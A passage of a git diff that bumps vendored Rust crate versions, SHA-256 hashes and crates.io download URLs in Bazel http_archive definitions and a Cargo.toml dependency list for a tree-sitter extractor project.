Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_ide_db-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_ide_db/0.0.270/download"], + strip_prefix = "ra_ap_ide_db-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_ide_db-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_intern-0.0.266", - sha256 = "8239ffde688b558a4335f03d14fa42dcebb203f452367830554b18e17ff1c683", + name = "vendor_ts__ra_ap_intern-0.0.270", + sha256 = "f6ea8c9615b3b0688cf557e7310dbd9432f43860c8ea766d54f4416cbecf3571", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_intern/0.0.266/download"], - strip_prefix = "ra_ap_intern-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_intern-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_intern/0.0.270/download"], + strip_prefix = "ra_ap_intern-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_intern-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_load-cargo-0.0.266", - sha256 = "01dd50ca287042b06ca3cc62b60e6891bacee3886d39381d26f9f966e509b1c7", + name = "vendor_ts__ra_ap_load-cargo-0.0.270", + sha256 = "570907e16725c13a678bfd8050ce8839af2831da042a0878b75ee8c41b0f7b0c", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_load-cargo/0.0.266/download"], - strip_prefix = "ra_ap_load-cargo-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_load-cargo-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_load-cargo/0.0.270/download"], + strip_prefix = "ra_ap_load-cargo-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_load-cargo-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_mbe-0.0.266", - sha256 = "c193592a0d1dcd315cf8c60f25d37a15c6b50c2b58bfbc6eac38b123e45c8c21", + name = "vendor_ts__ra_ap_mbe-0.0.270", + sha256 = "e893fe03b04b30c9b5a339ac2bf39ce32ac9c05a8b50121b7d89ce658346e164", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_mbe/0.0.266/download"], - strip_prefix = "ra_ap_mbe-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_mbe-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_mbe/0.0.270/download"], + strip_prefix = "ra_ap_mbe-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_mbe-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_parser-0.0.266", - sha256 = "b380f96951dd56b8231eeb47884fea12c57b8515ac748eedd590b26cd156681c", + name = "vendor_ts__ra_ap_parser-0.0.270", + sha256 = "6fd9a264120968b14a66b6ba756cd7f99435385b5dbc2f0a611cf3a12221c385", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_parser/0.0.266/download"], - strip_prefix = "ra_ap_parser-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_parser-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_parser/0.0.270/download"], + strip_prefix = "ra_ap_parser-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_parser-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_paths-0.0.266", - sha256 = "0801105582f532bc59a2b5714a30966c4cf9bd3e5b66f4161763c1d974d2c7d5", + name = "vendor_ts__ra_ap_paths-0.0.270", + sha256 = "f47817351651e36b56ff3afc483b41600053c9cb7e67d945467c0abe93416032", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_paths/0.0.266/download"], - strip_prefix = "ra_ap_paths-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_paths-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_paths/0.0.270/download"], + strip_prefix = "ra_ap_paths-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_paths-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_proc_macro_api-0.0.266", - sha256 = "da377b243e376b82819f875c1c6624125d27b682a740bd4cafc30b4f496d0ffa", + name = "vendor_ts__ra_ap_proc_macro_api-0.0.270", + sha256 = "d96da3b8b9f6b813a98f5357eef303905450741f47ba90adaab8a5371b748416", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_proc_macro_api/0.0.266/download"], - strip_prefix = "ra_ap_proc_macro_api-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_proc_macro_api-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_proc_macro_api/0.0.270/download"], + strip_prefix = "ra_ap_proc_macro_api-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_proc_macro_api-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_profile-0.0.266", - sha256 = "4d6d1391bee4f86e56385438a2dcb739cbb96bd0fbf49799a492332d57e6db62", + name = "vendor_ts__ra_ap_profile-0.0.270", + sha256 = "13637377287c84f88a628e40229d271ef0081c0d683956bd99a6c8278a4f8b14", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_profile/0.0.266/download"], - strip_prefix = "ra_ap_profile-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_profile-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_profile/0.0.270/download"], + strip_prefix = "ra_ap_profile-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_profile-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_project_model-0.0.266", - sha256 = "e8b1ac2712d5f6a20197b360890031e64b4ea097b511f50e2cb8ab1a0e24f577", + name = "vendor_ts__ra_ap_project_model-0.0.270", + sha256 = "053c5207a638fc7a752c7a454bc952b28b0d02f0bf9f6d7ec785ec809579d8fa", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_project_model/0.0.266/download"], - strip_prefix = "ra_ap_project_model-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_project_model-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_project_model/0.0.270/download"], + strip_prefix = "ra_ap_project_model-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_project_model-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_salsa-0.0.266", - sha256 = "bc3a0a272f50e2ab831452bd3f4e7f8a571ccf01282d76f4a078f661135ed0ce", + name = "vendor_ts__ra_ap_query-group-macro-0.0.270", + sha256 = "0f1a38f07b442e47a234cbe2e8fd1b8a41ff0cc5123cb1cf994c5ce20edb5bd6", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_salsa/0.0.266/download"], - strip_prefix = "ra_ap_salsa-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_salsa-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_query-group-macro/0.0.270/download"], + strip_prefix = "ra_ap_query-group-macro-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_query-group-macro-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_salsa-macros-0.0.266", - sha256 = "d5d59b47a54fd5468ce0dc03b146afd0932ae0f3d05a5c15ca78d29d5e85bc31", + name = "vendor_ts__ra_ap_span-0.0.270", + sha256 = "8818680c6f7da3b32cb2bb0992940b24264b1aa90203aa94812e09ab34d362d1", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_salsa-macros/0.0.266/download"], - strip_prefix = "ra_ap_salsa-macros-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_salsa-macros-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_span/0.0.270/download"], + strip_prefix = "ra_ap_span-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_span-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_span-0.0.266", - sha256 = "f10dbdd611d2546be7c400934007865e85bb37570566c715edb3aac76367a782", + name = "vendor_ts__ra_ap_stdx-0.0.270", + sha256 = "f1c10bee1b03fc48083862c13cf06bd3ed17760463ecce2734103a2f511e5ed4", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_span/0.0.266/download"], - strip_prefix = "ra_ap_span-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_span-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_stdx/0.0.270/download"], + strip_prefix = "ra_ap_stdx-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_stdx-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_stdx-0.0.266", - sha256 = "b7d5c58fcda9b35d61e23f334b2b11221abf53e7f5e4344fc7eb1de18b2cbf68", + name = "vendor_ts__ra_ap_syntax-0.0.270", + sha256 = "92bc32f3946fc5fcbdc79e61b7e26a8c2a3a56f3ef6ab27c7d298a9e21a462f2", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_stdx/0.0.266/download"], - strip_prefix = "ra_ap_stdx-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_stdx-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_syntax/0.0.270/download"], + strip_prefix = "ra_ap_syntax-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_syntax-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_syntax-0.0.266", - sha256 = "75334f45a8095223823ef1d2789c085460b7b9368c63a6430d46f6f2b9bd5cb5", + name = "vendor_ts__ra_ap_syntax-bridge-0.0.270", + sha256 = "a42052c44c98c122c37aac476260c8f19d8fec495edc9c05835307c9ae86194d", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_syntax/0.0.266/download"], - strip_prefix = "ra_ap_syntax-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_syntax-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_syntax-bridge/0.0.270/download"], + strip_prefix = "ra_ap_syntax-bridge-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_syntax-bridge-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_syntax-bridge-0.0.266", - sha256 = "b331a50f90ae587d230b1b55b3852ebf67ab740dec33c1a4b0900005037e77c2", + name = "vendor_ts__ra_ap_toolchain-0.0.270", + sha256 = "75996e70b3a0c68cd5157ba01f018964c7c6a5d7b209047d449b393139d0b57f", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_syntax-bridge/0.0.266/download"], - strip_prefix = "ra_ap_syntax-bridge-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_syntax-bridge-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_toolchain/0.0.270/download"], + strip_prefix = "ra_ap_toolchain-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_toolchain-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_toolchain-0.0.266", - sha256 = "8d56e1b3a34eac0448e54afccf63a6b7699ef14a734b2f1b340246ccdd00c0d3", + name = "vendor_ts__ra_ap_tt-0.0.270", + sha256 = "0e4ee31e93bfabe83e6720b7469db88d7ad7ec5c59a1f011efec4aa1327ffc5c", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_toolchain/0.0.266/download"], - strip_prefix = "ra_ap_toolchain-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_toolchain-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_tt/0.0.270/download"], + strip_prefix = "ra_ap_tt-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_tt-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_tt-0.0.266", - sha256 = "4b974b1211e0b1e17e44b1f256ca1b4a3734d4d98f43ba09ee0a8476fc3a5b83", + name = "vendor_ts__ra_ap_vfs-0.0.270", + sha256 = "f6aac1e277ac70bb073f40f8a3fc44e4b1bb9e4d4b1d0e0bd2f8269543560f80", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_tt/0.0.266/download"], - strip_prefix = "ra_ap_tt-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_tt-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_vfs/0.0.270/download"], + strip_prefix = "ra_ap_vfs-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_vfs-0.0.270.bazel"), ) maybe( http_archive, - name = "vendor_ts__ra_ap_vfs-0.0.266", - sha256 = "2b004e20f901dae213cb1673111a2b56fec4f0d1c4c894b62668a0f69ce25065", + name = "vendor_ts__ra_ap_vfs-notify-0.0.270", + sha256 = "cd95285146049621ee8f7a512c982a008bf036321fcc9b01a95c1ad7e6aeae57", type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_vfs/0.0.266/download"], - strip_prefix = "ra_ap_vfs-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_vfs-0.0.266.bazel"), - ) - - maybe( - http_archive, - name = "vendor_ts__ra_ap_vfs-notify-0.0.266", - sha256 = "95f9e8df03407d76e044f99ef45fafd686d775508aa7d1ba836e9eca58b833a3", - type = "tar.gz", - urls = ["https://static.crates.io/crates/ra_ap_vfs-notify/0.0.266/download"], - strip_prefix = "ra_ap_vfs-notify-0.0.266", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_vfs-notify-0.0.266.bazel"), + urls = ["https://static.crates.io/crates/ra_ap_vfs-notify/0.0.270/download"], + strip_prefix = "ra_ap_vfs-notify-0.0.270", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ra_ap_vfs-notify-0.0.270.bazel"), ) maybe( @@ -2535,6 +2596,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rustc_apfloat-0.2.1+llvm-462a31f5a5ab.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__rustversion-1.0.20", + sha256 = "eded382c5f5f786b989652c49544c4877d9f015cc22e145a5ea8ea66c2921cd2", + type = "tar.gz", + urls = ["https://static.crates.io/crates/rustversion/1.0.20/download"], + strip_prefix = "rustversion-1.0.20", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.rustversion-1.0.20.bazel"), + ) + maybe( http_archive, name = "vendor_ts__ryu-1.0.19", @@ -2545,6 +2616,36 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.ryu-1.0.19.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__salsa-0.19.0", + sha256 = "dd55c6549513b2a42884dae31e3d4f4ac8a6cc51062e68e24d162133889f327c", + type = "tar.gz", + urls = ["https://static.crates.io/crates/salsa/0.19.0/download"], + strip_prefix = "salsa-0.19.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.salsa-0.19.0.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__salsa-macro-rules-0.19.0", + sha256 = "2619b4b451beab0a7e4364ff1e6f31950e7e418888fd9bf2f28889671563166a", + type = "tar.gz", + urls = ["https://static.crates.io/crates/salsa-macro-rules/0.19.0/download"], + strip_prefix = "salsa-macro-rules-0.19.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.salsa-macro-rules-0.19.0.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__salsa-macros-0.19.0", + sha256 = "4be57a99b3896e8d26850428a6874fb86849e2db874e1db3528e5cee4337d277", + type = "tar.gz", + urls = ["https://static.crates.io/crates/salsa-macros/0.19.0/download"], + strip_prefix = "salsa-macros-0.19.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.salsa-macros-0.19.0.bazel"), + ) + maybe( http_archive, name = "vendor_ts__same-file-1.0.6", @@ -2587,32 +2688,32 @@ def crate_repositories(): maybe( http_archive, - name = "vendor_ts__serde-1.0.218", - sha256 = "e8dfc9d19bdbf6d17e22319da49161d5d0108e4188e8b680aef6299eed22df60", + name = "vendor_ts__serde-1.0.219", + sha256 = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6", type = "tar.gz", - urls = ["https://static.crates.io/crates/serde/1.0.218/download"], - strip_prefix = "serde-1.0.218", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde-1.0.218.bazel"), + urls = ["https://static.crates.io/crates/serde/1.0.219/download"], + strip_prefix = "serde-1.0.219", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde-1.0.219.bazel"), ) maybe( http_archive, - name = "vendor_ts__serde_derive-1.0.218", - sha256 = "f09503e191f4e797cb8aac08e9a4a4695c5edf6a2e70e376d961ddd5c969f82b", + name = "vendor_ts__serde_derive-1.0.219", + sha256 = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00", type = "tar.gz", - urls = ["https://static.crates.io/crates/serde_derive/1.0.218/download"], - strip_prefix = "serde_derive-1.0.218", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde_derive-1.0.218.bazel"), + urls = ["https://static.crates.io/crates/serde_derive/1.0.219/download"], + strip_prefix = "serde_derive-1.0.219", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde_derive-1.0.219.bazel"), ) maybe( http_archive, - name = "vendor_ts__serde_json-1.0.139", - sha256 = "44f86c3acccc9c65b153fe1b85a3be07fe5515274ec9f0653b4a0875731c72a6", + name = "vendor_ts__serde_json-1.0.140", + sha256 = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373", type = "tar.gz", - urls = ["https://static.crates.io/crates/serde_json/1.0.139/download"], - strip_prefix = "serde_json-1.0.139", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde_json-1.0.139.bazel"), + urls = ["https://static.crates.io/crates/serde_json/1.0.140/download"], + strip_prefix = "serde_json-1.0.140", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.serde_json-1.0.140.bazel"), ) maybe( @@ -2727,12 +2828,12 @@ def crate_repositories(): maybe( http_archive, - name = "vendor_ts__syn-2.0.98", - sha256 = "36147f1a48ae0ec2b5b3bc5b537d267457555a10dc06f3dbc8cb11ba3006d3b1", + name = "vendor_ts__syn-2.0.100", + sha256 = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0", type = "tar.gz", - urls = ["https://static.crates.io/crates/syn/2.0.98/download"], - strip_prefix = "syn-2.0.98", - build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.syn-2.0.98.bazel"), + urls = ["https://static.crates.io/crates/syn/2.0.100/download"], + strip_prefix = "syn-2.0.100", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.syn-2.0.100.bazel"), ) maybe( @@ -3195,6 +3296,16 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.winapi-x86_64-pc-windows-gnu-0.4.0.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__windows-0.58.0", + sha256 = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6", + type = "tar.gz", + urls = ["https://static.crates.io/crates/windows/0.58.0/download"], + strip_prefix = "windows-0.58.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-0.58.0.bazel"), + ) + maybe( http_archive, name = "vendor_ts__windows-core-0.52.0", @@ -3205,6 +3316,66 @@ def crate_repositories(): build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-core-0.52.0.bazel"), ) + maybe( + http_archive, + name = "vendor_ts__windows-core-0.58.0", + sha256 = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99", + type = "tar.gz", + urls = ["https://static.crates.io/crates/windows-core/0.58.0/download"], + strip_prefix = "windows-core-0.58.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-core-0.58.0.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__windows-implement-0.58.0", + sha256 = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b", + type = "tar.gz", + urls = ["https://static.crates.io/crates/windows-implement/0.58.0/download"], + strip_prefix = "windows-implement-0.58.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-implement-0.58.0.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__windows-interface-0.58.0", + sha256 = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515", + type = "tar.gz", + urls = ["https://static.crates.io/crates/windows-interface/0.58.0/download"], + strip_prefix = "windows-interface-0.58.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-interface-0.58.0.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__windows-link-0.1.1", + sha256 = "76840935b766e1b0a05c0066835fb9ec80071d4c09a16f6bd5f7e655e3c14c38", + type = "tar.gz", + urls = ["https://static.crates.io/crates/windows-link/0.1.1/download"], + strip_prefix = "windows-link-0.1.1", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-link-0.1.1.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__windows-result-0.2.0", + sha256 = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e", + type = "tar.gz", + urls = ["https://static.crates.io/crates/windows-result/0.2.0/download"], + strip_prefix = "windows-result-0.2.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-result-0.2.0.bazel"), + ) + + maybe( + http_archive, + name = "vendor_ts__windows-strings-0.1.0", + sha256 = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10", + type = "tar.gz", + urls = ["https://static.crates.io/crates/windows-strings/0.1.0/download"], + strip_prefix = "windows-strings-0.1.0", + build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.windows-strings-0.1.0.bazel"), + ) + maybe( http_archive, name = "vendor_ts__windows-sys-0.48.0", @@ -3476,13 +3647,13 @@ def crate_repositories(): ) return [ - struct(repo = "vendor_ts__anyhow-1.0.96", is_dev_dep = False), + struct(repo = "vendor_ts__anyhow-1.0.97", is_dev_dep = False), struct(repo = "vendor_ts__argfile-0.2.1", is_dev_dep = False), - struct(repo = "vendor_ts__chalk-ir-0.99.0", is_dev_dep = False), - struct(repo = "vendor_ts__chrono-0.4.39", is_dev_dep = False), - struct(repo = "vendor_ts__clap-4.5.31", is_dev_dep = False), + struct(repo = "vendor_ts__chalk-ir-0.100.0", is_dev_dep = False), + struct(repo = "vendor_ts__chrono-0.4.40", is_dev_dep = False), + struct(repo = "vendor_ts__clap-4.5.32", is_dev_dep = False), struct(repo = "vendor_ts__dunce-1.0.5", is_dev_dep = False), - struct(repo = "vendor_ts__either-1.14.0", is_dev_dep = False), + struct(repo = "vendor_ts__either-1.15.0", is_dev_dep = False), struct(repo = "vendor_ts__encoding-0.2.33", is_dev_dep = False), struct(repo = "vendor_ts__figment-0.10.19", is_dev_dep = False), struct(repo = "vendor_ts__flate2-1.1.0", is_dev_dep = False), @@ -3493,30 +3664,30 @@ def crate_repositories(): struct(repo = "vendor_ts__mustache-0.9.0", is_dev_dep = False), struct(repo = "vendor_ts__num-traits-0.2.19", is_dev_dep = False), struct(repo = "vendor_ts__num_cpus-1.16.0", is_dev_dep = False), - struct(repo = "vendor_ts__proc-macro2-1.0.93", is_dev_dep = False), - struct(repo = "vendor_ts__quote-1.0.38", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_base_db-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_cfg-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_hir-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_hir_def-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_hir_expand-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_hir_ty-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_ide_db-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_intern-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_load-cargo-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_parser-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_paths-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_project_model-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_span-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_stdx-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_syntax-0.0.266", is_dev_dep = False), - struct(repo = "vendor_ts__ra_ap_vfs-0.0.266", is_dev_dep = False), + struct(repo = "vendor_ts__proc-macro2-1.0.94", is_dev_dep = False), + struct(repo = "vendor_ts__quote-1.0.40", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_base_db-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_cfg-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_hir-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_hir_def-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_hir_expand-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_hir_ty-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_ide_db-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_intern-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_load-cargo-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_parser-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_paths-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_project_model-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_span-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_stdx-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_syntax-0.0.270", is_dev_dep = False), + struct(repo = "vendor_ts__ra_ap_vfs-0.0.270", is_dev_dep = False), struct(repo = "vendor_ts__rayon-1.10.0", is_dev_dep = False), struct(repo = "vendor_ts__regex-1.11.1", is_dev_dep = False), - struct(repo = "vendor_ts__serde-1.0.218", is_dev_dep = False), - struct(repo = "vendor_ts__serde_json-1.0.139", is_dev_dep = False), + struct(repo = "vendor_ts__serde-1.0.219", is_dev_dep = False), + struct(repo = "vendor_ts__serde_json-1.0.140", is_dev_dep = False), struct(repo = "vendor_ts__serde_with-3.12.0", is_dev_dep = False), - struct(repo = "vendor_ts__syn-2.0.98", is_dev_dep = False), + struct(repo = "vendor_ts__syn-2.0.100", is_dev_dep = False), struct(repo = "vendor_ts__toml-0.8.20", is_dev_dep = False), struct(repo = "vendor_ts__tracing-0.1.41", is_dev_dep = False), struct(repo = "vendor_ts__tracing-flame-0.2.0", is_dev_dep = False), diff --git a/rust/ast-generator/Cargo.toml b/rust/ast-generator/Cargo.toml index 6e89b5d140c..23b2ab8cb15 100644 --- a/rust/ast-generator/Cargo.toml +++ b/rust/ast-generator/Cargo.toml @@ -7,11 +7,11 @@ license = "MIT" # When updating these dependencies, run `rust/update_cargo_deps.sh` [dependencies] ungrammar = "1.16.1" -proc-macro2 = "1.0.93" -quote = "1.0.38" -either = "1.14.0" -stdx = {package = "ra_ap_stdx", version = "0.0.266"} +proc-macro2 = "1.0.94" +quote = "1.0.40" +either = "1.15.0" +stdx = {package = "ra_ap_stdx", version = "0.0.270"} itertools = "0.14.0" mustache = "0.9.0" -serde = { version = "1.0.218", features = ["derive"] } -anyhow = "1.0.96" +serde = { version = "1.0.219", features = ["derive"] } +anyhow = 